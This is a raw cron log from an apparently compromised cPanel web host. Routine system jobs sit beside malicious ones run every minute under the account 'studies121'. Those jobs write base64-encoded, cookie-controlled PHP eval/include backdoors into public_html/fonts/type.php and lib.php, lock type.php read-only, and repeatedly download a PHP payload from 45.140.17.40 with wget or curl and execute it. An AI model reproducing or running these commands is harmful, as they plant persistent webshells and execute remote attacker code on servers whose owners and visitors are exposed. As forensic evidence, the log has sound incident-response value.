Aug 31 14:17:01 ip-184-168-122-23 CROND[12877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:17:01 ip-184-168-122-23 CROND[12879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:17:01 ip-184-168-122-23 CROND[12881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:18:01 ip-184-168-122-23 CROND[13048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:18:01 ip-184-168-122-23 CROND[13050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:18:01 ip-184-168-122-23 CROND[13053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:18:01 ip-184-168-122-23 CROND[13054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:18:01 ip-184-168-122-23 CROND[13051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:19:01 ip-184-168-122-23 CROND[13139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:19:01 ip-184-168-122-23 CROND[13142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:19:01 ip-184-168-122-23 CROND[13140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:19:01 ip-184-168-122-23 CROND[13141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:20:01 ip-184-168-122-23 CROND[13238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:20:01 ip-184-168-122-23 CROND[13241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:20:01 ip-184-168-122-23 CROND[13242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:20:01 ip-184-168-122-23 CROND[13247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:20:01 ip-184-168-122-23 CROND[13244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:20:01 ip-184-168-122-23 CROND[13246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:20:01 ip-184-168-122-23 CROND[13248]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:20:01 ip-184-168-122-23 CROND[13245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:20:01 ip-184-168-122-23 CROND[13249]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 14:21:01 ip-184-168-122-23 CROND[13443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:21:01 ip-184-168-122-23 CROND[13444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:21:01 ip-184-168-122-23 CROND[13445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:21:01 ip-184-168-122-23 CROND[13446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:22:02 ip-184-168-122-23 CROND[13534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:22:02 ip-184-168-122-23 CROND[13538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:22:02 ip-184-168-122-23 CROND[13537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:22:02 ip-184-168-122-23 CROND[13536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:22:02 ip-184-168-122-23 CROND[13539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:23:01 ip-184-168-122-23 CROND[13634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:23:01 ip-184-168-122-23 CROND[13635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:23:01 ip-184-168-122-23 CROND[13636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:23:01 ip-184-168-122-23 CROND[13640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:24:01 ip-184-168-122-23 CROND[13747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:24:01 ip-184-168-122-23 CROND[13750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:24:01 ip-184-168-122-23 CROND[13749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:24:01 ip-184-168-122-23 CROND[13751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:24:01 ip-184-168-122-23 CROND[13752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:25:01 ip-184-168-122-23 CROND[13852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:25:01 ip-184-168-122-23 CROND[13853]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:25:01 ip-184-168-122-23 CROND[13854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:25:01 ip-184-168-122-23 CROND[13858]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 14:25:01 ip-184-168-122-23 CROND[13859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:25:01 ip-184-168-122-23 CROND[13857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:25:01 ip-184-168-122-23 CROND[13861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:26:01 ip-184-168-122-23 CROND[14065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:26:01 ip-184-168-122-23 CROND[14068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:26:01 ip-184-168-122-23 CROND[14070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:26:01 ip-184-168-122-23 CROND[14067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:26:01 ip-184-168-122-23 CROND[14069]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Aug 31 14:26:01 ip-184-168-122-23 CROND[14071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Aug 31 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Aug 31 14:27:01 ip-184-168-122-23 CROND[14262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:27:01 ip-184-168-122-23 CROND[14263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:27:01 ip-184-168-122-23 CROND[14265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:27:01 ip-184-168-122-23 CROND[14264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:28:01 ip-184-168-122-23 CROND[14399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:28:01 ip-184-168-122-23 CROND[14401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 14:28:01 ip-184-168-122-23 CROND[14403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:28:01 ip-184-168-122-23 CROND[14402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 14:28:01 ip-184-168-122-23 CROND[14404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:29:01 ip-184-168-122-23 CROND[14532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 14:29:01 ip-184-168-122-23 CROND[14533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
